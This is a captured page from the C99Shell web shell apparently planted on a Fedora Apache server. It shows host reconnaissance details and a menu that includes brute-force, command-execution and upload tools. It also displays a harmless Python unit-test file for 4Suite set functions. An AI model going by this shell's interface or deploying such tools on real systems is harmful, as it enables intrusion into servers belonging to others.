!C99Shell v. 1.0 pre-release build #16!

Software: Apache/2.0.54 (Fedora). PHP/5.0.4 

uname -a: Linux mina-info.me 2.6.17-1.2142_FC4smp #1 SMP Tue Jul 11 22:57:02 EDT 2006 i686 

uid=48(apache) gid=48(apache) groups=48(apache)
context=system_u:system_r:httpd_sys_script_t
 

Safe-mode: OFF (not secure)

/usr/lib/4Suite/tests/Lib/   drwxr-xr-x
Free 3.28 GB of 27.03 GB (12.12%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     test_set.py (1.08 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |

from Ft.Lib import Set

def test_intersection(tester):

    tester.startTest("Intersection")
    a = [1,2,3]
    b = [2,3,4]
    res = Set.Intersection(a,b)
    tester.compare(2,len(res))
    tester.compareIn(res,2)
    tester.compareIn(res,3)
    tester.testDone()    

def test_not(tester):

    tester.startTest("Not")
    a = [1,2,3]
    b = [2,3,4]
    res = Set.Not(a,b)
    tester.compare(1,len(res))
    tester.compareIn(res,1)
    tester.testDone()    

def test_union(tester):

    tester.startTest("Union")
    a = [1,2,3]
    b = [2,3,4]
    res = Set.Union(a,b)
    tester.compare(4,len(res))
    tester.compareIn(res,1)
    tester.compareIn(res,2)
    tester.compareIn(res,3)
    tester.compareIn(res,4)
    tester.testDone()    

def test_unique(tester):

    tester.startTest("Unique")
    a = [1,2,3,2]
    res = Set.Unique(a)
    tester.compare(3,len(res))
    tester.compareIn(res,1)
    tester.compareIn(res,2)
    tester.compareIn(res,3)
    tester.testDone()    


def Test(tester):

    test_intersection(tester)
    test_not(tester)
    test_union(tester)
    test_unique(tester)

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 1.0 pre-release build #16 powered by Captain Crunch Security Team | http://ccteam.ru | Generation time: 0.0032 ]--